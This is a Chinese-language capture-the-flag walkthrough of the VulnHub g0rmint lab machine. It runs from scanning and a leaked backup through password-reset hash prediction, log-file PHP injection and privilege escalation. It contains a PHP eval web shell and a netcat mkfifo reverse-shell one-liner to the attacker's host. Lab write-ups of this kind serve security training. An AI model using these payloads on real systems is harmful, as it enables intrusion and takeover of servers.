kali滲透綜合靶機(十四)--g0rmint靶機php
靶機下載地址:https://www.vulnhub.com/entry/g0rmint-1,214/css
1、主機發現web
1.netdiscover -i eth0 -r 192.168.10.0/24sql
2、端口掃描shell
1. masscan --rate=10000 -p0-65535 192.168.10.173瀏覽器
3、端口服務識別session
nmap -sV -T4 -O -p 22,80 192.168.10.173函數
4、漏洞查找與利用post
1.dirb目錄掃描網站
2.發現http://192.168.10.173/robots.txt,瀏覽器訪問,發現g0rmint
3.瀏覽器訪問http://192.168.10.173/g0rmint
4.查看頁面源碼,發現備份目錄
5.使用dirb 掃描http://192.168.10.173/g0rmint/s3cretbackupdirect0ry/,發現http://192.168.10.173/g0rmint/s3cretbackupdirect0ry/info.php
6.訪問http://192.168.10.173/g0rmint/s3cretbackupdirect0ry/info.php
7.下載備份文件
8.查看網站代碼,發現用戶名、密碼、郵箱,嘗試登陸失敗
在線解密
9.查看login.php,發現登陸失敗的時候會生成一個日誌文件(調用addlog函數)
10.查看addlog函數,發現日誌寫在.php文件中,嘗試在登陸郵箱處插入php語句,從而任意執行代碼
11.在登陸郵箱處插入php一句話木馬,點擊提交,登陸失敗跳轉到登陸頁面
最後發現是fwrite($fh, file_get_contents("dummy.php") . "<br>\n");寫入了一個session判斷
因此須要先解決登陸的問題。
12.查看reset.php,能夠看到只要知道了一個存在的郵箱和用戶名,就能夠重置密碼爲一個時間值的哈希,嘗試了demo和一些經常使用郵箱用戶名以後,發現彷佛並無這個用戶
13.在全文搜索email關鍵字, 能夠在一個css文件中看到用戶的名字和郵箱
14.成功重置後,界面右下角也給出了對應的時間,遂能算出相應的哈希值,使用在線的hash加密,去加密成功後的hash值前20位最爲密碼的值
15. 用郵箱和算出的哈希值就能登陸到後臺中,而後就能成功的訪問到生成的log文件
16.在登陸的時郵箱處插入一條php語句,寫入webshell,<?php @eval($_POST[cmd]);?>而後訪問對應的日誌,提交post參數便可執行任意php代碼。
17.而後將shell反彈到個人kali中來
在post中輸入:注意須要url編碼
`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.10.168 1234 >/tmp/f;`;
18.在Kali開啓監聽,得到shell
19.提權
19.1查看內核版本
19.2kali查看是否有對應版本的漏洞
19.3在kali編譯好腳本,而後目標用wget下載,執行,得到管理員權限
提權方式二:
1.在/var/www目錄下又發現網站備份文件,解壓發現db.sql,
2.發現用戶noman以及密碼
在線解密
3.嘗試用noman用戶登陸,失敗,發現/etc/passwd中有g0rmint,嘗試用noman的密碼登陸,成功登陸進去
4.用sudo -l 查看當前用戶是否屬於sudo組,而後sudo -i 直接得到管理員權限
總結:
一、信息收集、端口掃描、服務識別
二、目錄掃描、發現敏感信息備份文件
三、登陸密碼的地方暫時突破不了,嘗試在重置密碼的地方尋找突破口、發現有用信息
四、進行代碼審計,發現日誌文件的後綴是php文件,這時能夠嘗試在登陸的地方接入一句話,而後就寫入到日誌中。
五、getshell、提權